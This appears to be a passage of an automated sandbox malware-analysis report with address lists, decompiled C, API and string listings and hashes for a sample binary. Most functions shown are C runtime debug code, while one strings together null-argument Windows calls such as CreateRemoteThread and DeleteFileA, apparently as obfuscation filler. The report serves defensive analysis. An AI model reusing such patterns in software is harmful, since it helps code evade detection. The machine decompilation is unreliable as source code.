0x0043c05d
0x0043c060
0x0043c067
0x0043c06a
0x0043c070
0x0043c070
0x0043c070
0x0043c076
0x0043c07c
0x0043c07f
0x0043c085
0x0043c087
0x00000000
0x00000000
0x0043c089
0x0043c089
0x0043c08f
0x0043c092
0x0043c094
0x00000000
0x00000000
0x0043c096
0x0043c09c
0x0043c09f
0x0043c09f
0x0043c0a7
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b2
0x00000000
0x0043bfcf
0x0043bfcf
0x0043bfcf
0x0043bfd3
0x0043bfd5
0x0043bfda
0x0043bfda
0x0043bfdd
0x0043bfe0
0x0043bfe6
0x0043bff8
0x0043bff8
0x0043bff8
0x0043bffb
0x0043c001
0x00000000
0x00000000
0x0043c003
0x0043c003
0x0043c009
0x0043c00c
0x0043c00e
0x00000000
0x00000000
0x0043c010
0x0043c010
0x0043c019
0x0043c01f
0x0043c023
0x0043c02b
0x0043c02d
0x0043c02f
0x0043c035
0x0043c035
0x0043c038
0x0043c038
0x0043c044
0x0043c047
0x0043bfef
0x0043bff2
0x0043bff2
0x0043bff5
0x0043bff5
0x0043c04f
0x0043c0b5
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x00000000
0x0043c36d
0x0043c36d
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c393
0x0043c393
0x0043c39d
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x0043c3e2
0x0043c3e5
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c49e
0x0043c4a2
0x0043c4aa
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c483
0x0043c487
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c45d
0x0043c469
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c441
0x0043c445
0x0043c44d
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c414
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3ec
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4bb
0x0043c4be
0x0043c500
0x0043c500
0x0043c506
0x0043c50c
0x0043c512
0x00000000
0x0043c4c0
0x0043c4c0
0x0043c4c0
0x0043c4c7
0x00000000
0x00000000
0x0043c4c9
0x0043c4c9
0x0043c4d4
0x0043c4da
0x0043c4dc
0x0043c4e2
0x0043c4e5
0x0043c4e7
0x0043c4ed
0x0043c4f6
0x0043c4fb
0x0043c518
0x0043c51b
0x0043c51b
0x0043c520
0x0043c525
0x0043c525
0x0043c52b
0x0043c52d
0x0043c533
0x0043c539
0x0043c539
0x0043c542
0x0043c542
0x0043c52b
0x0043c548
0x0043c54c
0x0043c55a
0x0043c55d
0x0043c560
0x0043c567
0x0043c569
0x0043c569
0x0043c54e
0x0043c54e
0x0043c54e
0x0043c576
0x0043c576
0x0043c57c
0x0043c57e
0x0043c57e
0x0043c585
0x0043c58b
0x0043c58e
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x0043c59e
0x0043c5a4
0x0043c5a4
0x0043c5aa
0x00000000
0x00000000
0x0043c5ac
0x0043c5ac
0x0043c5af
0x0043c5b2
0x0043c5b9
0x0043c5c0
0x0043c5c8
0x0043c5ce
0x0043c5d1
0x0043c5d4
0x0043c5db
0x0043c5e7
0x0043c5ed
0x0043c5f3
0x0043c5fa
0x0043c5fc
0x0043c602
0x0043c602
0x0043c608
0x0043c608
0x0043c60e
0x0043c617
0x0043c61c
0x0043c61f
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x00000000
0x0043c59c
0x0043c58e
0x0043c4cb
0x0043c4cb
0x0043c4d2
0x00000000
0x00000000
0x00000000
0x0043c4d2
0x00000000
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x00000000
0x0043bbf9
0x0043bbf9
0x0043bbfc
0x0043bbff
0x00000000
0x00000000
0x0043bc04
0x0043bc07
0x0043bc0d
0x00000000
0x00000000
0x0043bbee
0x0043bbf1
0x0043bbf4
0x00000000
0x00000000
0x0043bbe3
0x0043bbe6
0x0043bbe9
0x00000000
0x00000000
0x0043bc12
0x0043bc12
0x0043bc15
0x0043bc15
0x0043bc18
0x00000000
0x00000000
0x0043bc1b
0x00000000
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8d
0x0043ba9b
0x0043ba8f
0x0043ba8f
0x0043ba8f
0x0043baab
0x0043bab8
0x0043baba
0x0043babf
0x0043bac1
0x0043bac6
0x0043bacb
0x0043bacd
0x0043bad2
0x0043bad8
0x0043bada
0x0043bada
0x0043bad8
0x0043badb
0x0043bae2
0x00000000
0x0043bae4
0x0043bae9
0x0043bb05
0x0043bb0d
0x0043bb1a
0x0043bb1f
0x0043c934
0x0043c941
0x0043c941
0x0043bae2
0x0043ba85
0x0043c870
0x0043c877
0x0043c88e
0x0043c88e
0x0043c898
0x0043c898
0x0043c89e
0x0043c8ab
0x0043c8ad
0x0043c8b2
0x0043c8b4
0x0043c8b9
0x0043c8be
0x0043c8c0
0x0043c8c5
0x0043c8cb
0x0043c8cd
0x0043c8cd
0x0043c8cb
0x0043c8d5
0x0043c920
0x0043c929
0x0043c92e
0x0043c8d7
0x0043c8dc
0x0043c8f8
0x0043c900
0x0043c90d
0x0043c912
0x0043c912
0x00000000
0x0043c8d5
0x0043c879
0x0043c880
0x00000000
0x00000000
0x0043c882
0x0043c882
0x00000000
0x0043c882
0x0043c670
0x0043bf0b
0x0043bf0b
0x0043bf11
0x0043bf18
0x0043bf1d
0x0043bf20
0x00000000
0x0043bf20

APIs

_get_int_arg.LIBCMTD ref: 0043BEE8
_strlen.LIBCMT ref: 0043BF18
_write_multi_char.LIBCMTD ref: 0043C6FB
_write_string.LIBCMTD ref: 0043C716
_write_multi_char.LIBCMTD ref: 0043C742
__mbtowc_l.LIBCMTD ref: 0043C7B1

Strings

("Incorrect format specifier", 0), xrefs: 0043BABA, 0043BB00
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BAC6, 0043BAF6
HD@, xrefs: 0043BF0B
_woutput_s_l, xrefs: 0043BAFB

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$HD@$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-1463889187
Opcode ID: 9ca71d06bae4ef2ce4f5b24ff85b07bb0a1c756acd9491e2be316cb55540299a
Instruction ID: ea2671f64ede2036bebb31a64f0cd56980d7fcc504676d935d8f918457740e49
Opcode Fuzzy Hash: 9ca71d06bae4ef2ce4f5b24ff85b07bb0a1c756acd9491e2be316cb55540299a
Instruction Fuzzy Hash: F8A18FB1D00228DBDB24DF54CC81BAEB3B5EB48305F14919AE6097B282D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00419E30, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419E30(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1e50);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1e30);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1e2c);
				return 0;
			}

0x00419e36
0x00419e38
0x00419e3f
0x00419e53
0x00419e60
0x00419e6b
0x00419e80
0x00419e8d
0x00419e93
0x00419e9b
0x00419ea8
0x00419eb1

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419E3F
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419E53
CreateActCtxW.KERNEL32(?), ref: 00419E60
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419E6B
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419E80
InterlockedDecrement.KERNEL32(?), ref: 00419E8D
GetCommandLineW.KERNEL32 ref: 00419E93
TlsGetValue.KERNEL32(00000000), ref: 00419E9B
TryEnterCriticalSection.KERNEL32(?), ref: 00419EA8

Strings

vihebihasucuxegod, xrefs: 00419E75
Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419E66

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 46a52bf7412e21f1a9f9046ac7842a7972d33da5d6619f9f9bdf0b32adec5e81
Instruction ID: 290748476c8e10ea7b6eb3caab2a8ec9d2d8f6784b5271156a8305f3cd713b92
Opcode Fuzzy Hash: 46a52bf7412e21f1a9f9046ac7842a7972d33da5d6619f9f9bdf0b32adec5e81
Instruction Fuzzy Hash: BCF01D31684285ABEB506BB0EE0EF893B68BB04B06F140061F786F64F0C6B495848B29

Uniqueness

Uniqueness Score: -1.00%

Function 0041CE0E, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CE8B
_CheckBytes.LIBCMTD ref: 0041CF29
_CheckBytes.LIBCMTD ref: 0041CFD2

Strings

%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041D071
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CEC0
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041CFFC
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CF5E

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction ID: efcfae77abc42742fa72b10c85c589961b1c3c554aecbf07f2c8bf05c7930aec
Opcode Fuzzy Hash: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction Fuzzy Hash: D1613DB5E402099BDB18CB84CCD5FBFB7B5AB48704F24811AE5156B3C1D279EC82CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004377C4, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004377C4(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B4E0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E350();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422E40(_t65))) = 0x22;
						E00422BD0(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B4E0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422E40(_t61)));
				goto L30;
			}

0x004377c4
0x004377c7
0x004377ce
0x0043783a
0x0043783d
0x00437840
0x00437844
0x00437931
0x00437931
0x00437935
0x0043793d
0x0043793d
0x0043793f
0x00437942
0x00437945
0x00437945
0x0043784d
0x00437850
0x00437927
0x0043792a
0x0043792a
0x0043792d
0x00000000
0x0043792d
0x00437856
0x0043785a
0x0043791a
0x0043791d
0x00437920
0x00000000
0x00437920
0x00437863
0x00437866
0x0043786a
0x0043786c
0x00437873
0x00437875
0x00437879
0x00437881
0x00437887
0x00437896
0x00437896
0x00437899
0x00437889
0x00437889
0x0043788e
0x0043788e
0x0043789c
0x004378a8
0x004378a8
0x004378ac
0x004378b1
0x004378b1
0x00437879
0x00437873
0x004378b4
0x004378b7
0x004378ba
0x004378be
0x004378c1
0x004378c3
0x004378c8
0x004378ca
0x004378cf
0x004378d4
0x004378d6
0x004378db
0x004378de
0x004378e1
0x004378e3
0x004378e3
0x004378e1
0x004378e4
0x004378e8
0x00000000
0x004378ea
0x004378ef
0x0043790b
0x00437913
0x00000000
0x00437913
0x004378e8
0x004377d4
0x004377d9
0x004377e0
0x004377f7
0x004377fd
0x0043780d
0x0043780d
0x00437810
0x004377ff
0x004377ff
0x00437805
0x00437805
0x0043781f
0x00437823
0x00437828
0x004377e0
0x00437830
0x00000000

APIs

_memset.LIBCMT ref: 00437823
_memset.LIBCMT ref: 004378AC
__invalid_parameter.LIBCMTD ref: 0043790B

Strings

_wcstombs_s_l, xrefs: 00437901
P, xrefs: 00437920
sizeInBytes > retsize, xrefs: 004378C3, 00437906
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004378CF, 004378FC

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 984826580b6b716d8613671b907141250ac4dcad0e8d3708987d07af3c830269
Instruction ID: 060986c40e91511ded61273b1c21825d6c58e66fbc9855bf434f32fd6e52bc00
Opcode Fuzzy Hash: 984826580b6b716d8613671b907141250ac4dcad0e8d3708987d07af3c830269
Instruction Fuzzy Hash: 5941CDB0D04309DBDB28DF58C8497AE3760FB48314F10966AE9B42A3D0D3788950CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0041D8A7, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D8A7() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041AE20(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00422FD0(E0041AE20(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00423080(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041AE20(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422E40( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422E40( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BD90(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041DA20( *((intOrPtr*)(L00422E40(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422E40(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L004296B0(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BDF0(E0041ADF0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d8a7
0x0041d8a7
0x0041d8a7
0x0041d8ad
0x0041d8b7
0x0041d8c4
0x0041d8b9
0x0041d8bc
0x0041d8bf
0x0041d8bf
0x0041d8d1
0x00000000
0x00000000
0x0041d8d7
0x0041d8e0
0x0041d8ed
0x0041d935
0x0041d93a
0x0041d93d
0x0041d902
0x0041d915
0x0041d91a
0x0041d91d
0x0041d91d
0x0041d944
0x0041d94f
0x0041d946
0x0041d94a
0x0041d94a
0x0041d95c
0x0041d967
0x0041d96f
0x0041d993
0x0041d998
0x0041d99d
0x0041d9a2
0x0041d9c6
0x0041d9cb
0x0041d9cb
0x0041d9d6
0x0041d9d6
0x0041d9dd
0x0041d9dd
0x0041d9e0
0x0041d9e8
0x0041da05
0x0041da07
0x0041da07
0x0041da1d

APIs

__isctype_l.LIBCMTD ref: 0041D915
_swprintf_s.LIBCMTD ref: 0041D998
__invoke_watson_if_oneof.LIBCMTD ref: 0041D9C6

Strings

%.2X , xrefs: 0041D97A
_printMemBlockData, xrefs: 0041D9B0
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D9AB
(*_errno()), xrefs: 0041D9B5

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: e46008a0ab6fb811eed335e710d919e7e4e3c017f1531206f30aad4bb366cdc1
Instruction ID: 46d616bb489b6fb5134fe99b05e28e5367c6a4c332beddbf1e1cae21efac5646
Opcode Fuzzy Hash: e46008a0ab6fb811eed335e710d919e7e4e3c017f1531206f30aad4bb366cdc1
Instruction Fuzzy Hash: 1231AFB0E04318EFDB08EFA5CA51AEDBB72AF44304F20416AE4156F2C2D7789A45DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004291E1, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00429248
__set_error_mode.LIBCMTD ref: 00429257
GetStdHandle.KERNEL32(000000F4), ref: 0042926E
_strlen.LIBCMT ref: 00429294
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 004292AC

Strings

t/j, xrefs: 00429281
jjj, xrefs: 00429230

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction ID: 62fd764b9c0f0b59fc8d7083947a2076ea347f1381bdf158a8e819d10325168f
Opcode Fuzzy Hash: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction Fuzzy Hash: BE210774B00218FBDF24CB88F985B6E3374EB15304FA045AAE50563291E3799E54DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004350E7, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004350E7(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
